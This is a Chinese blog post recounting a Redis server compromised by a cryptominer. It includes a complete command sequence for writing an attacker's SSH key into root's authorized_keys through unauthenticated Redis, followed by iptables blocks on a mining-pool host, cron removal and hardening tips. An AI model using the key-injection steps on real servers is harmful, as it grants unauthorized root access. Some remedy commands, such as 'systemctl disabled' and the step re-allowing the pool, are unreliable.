前言
前几天在自己服务器上搭了 redis,准备想着大展身手一番,昨天使用 redis-cli 命令的时候,10s 后,显示进程已杀死。然后又试了几次,都是一样的结果,10s 时间,进程被杀死。这个时候我还没发现事情的严重性。<!–more–>
发现问题
进程莫名被杀死,可能是 cpu 被占满,赶紧看了一下 cpu。
[root@VM_0_13_centos etc]# top
果然如此,cpu 被莫名的占满了。简单,根据 pid 杀死进程就行了。
[root@VM_0_13_centos etc]# kill -9 27882
在我以为事情已经完结的情况下,使用 reids-cli 的时候又出现同样的问题,进程被杀死,我在用 top
命令查看的时候,cpu 又被占满了。这个时候我才意识到问题的严重性,这个 command 是一串无规则数字,应该不是一个正经的进程,而且我试过了几次,这个进程总是在被杀死后重新启动,不过是以不同的 pid 和不同的 command,这可能是一个定时任务,然后我看了一下本地的定时任务:
[root@VM_0_13_centos etc]# crontab -l
果然有一个定时任务,那就删掉他。
[root@VM_0_13_centos etc]# rm -rf /var/spool/cron/root
等我再次杀掉那个异常线程在 top
的时候,发现进程又出现了,我返回看定时任务的时候,发现定时任务也又出现了,直接崩溃 ….
问题原因
我从一个技术群里面了解到,这可能是 redis 漏洞所造成的,造成该现象的原因有如下几种:
- 将 redis 暴露在公网上,即把 redis 绑定在 0.0.0.0:6379
- redis 密码过于简单,甚至没有(我就是后种情况..)
- 使用 root 权限操作 redis
攻击原理
-
首先在本地产生密钥文件
$ ssh-keygen –t rsa
-
进入~/.ssh/, 将公钥写进 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
-
再连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
$ ssh –i id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的 authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
解决方法
-
阻断服务器与外界进行数据传输
我怀疑我的服务器被恶意被当作肉机,所以我第一步就将这种方式拦截掉。
$ iptables -A INPUT -sxmr.crypto-pool.fr -j DROP | iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
恢复
$ iptables -A INPUT -sxmr.crypto-pool.fr -j ACCEPT | iptables -A OUTPUT -d xmr.crypto-pool.fr -j ACCEPT
- 给 redis 设密码
配置文件 redis.conf 中找到 requirePass 项
- 清除 authorized_keys 的信息(如果有的话,我没有就不用了)
-
禁止定时任务开机启动
$ systemctl disabled cron.service
-
重启服务器,并删除定时任务
$ reboot $ rm -rf /var/spool/cron/root
redis 安装建议
- 禁止 Redis 服务对公网开放,可通过修改 redis.conf 配置文件中的 ”#bind 127.0.0.1″,去掉前面的 ”#” 即可(Redis 本来就是作为内存数据库,只要监听在本机即可);
- 设置密码访问认证,可通过修改 redis.conf 配置文件中的 ”requirepass” 设置复杂密码(需要重启 Redis 服务才能生效);
- 对访问源 IP 进行访问控制,可在防火墙限定指定源 ip 才可以连接 Redis 服务器;
- 修改 Redis 默认端口,将默认的 6379 端口修改为其他端口;
- 禁用 config 指令避免恶意操作,在 Redis 配置文件 redis.conf 中配置 rename-command 项 ”RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用 config 指令加大难度;
- Redis 使用普通用户权限,禁止使用 root 权限启动 Redis 服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取 root 权限;
后记
这次有惊无险,不然就得重装系统了。
<center>
<font size = 5> 如果觉得有用就关注我吧~</font>
</center>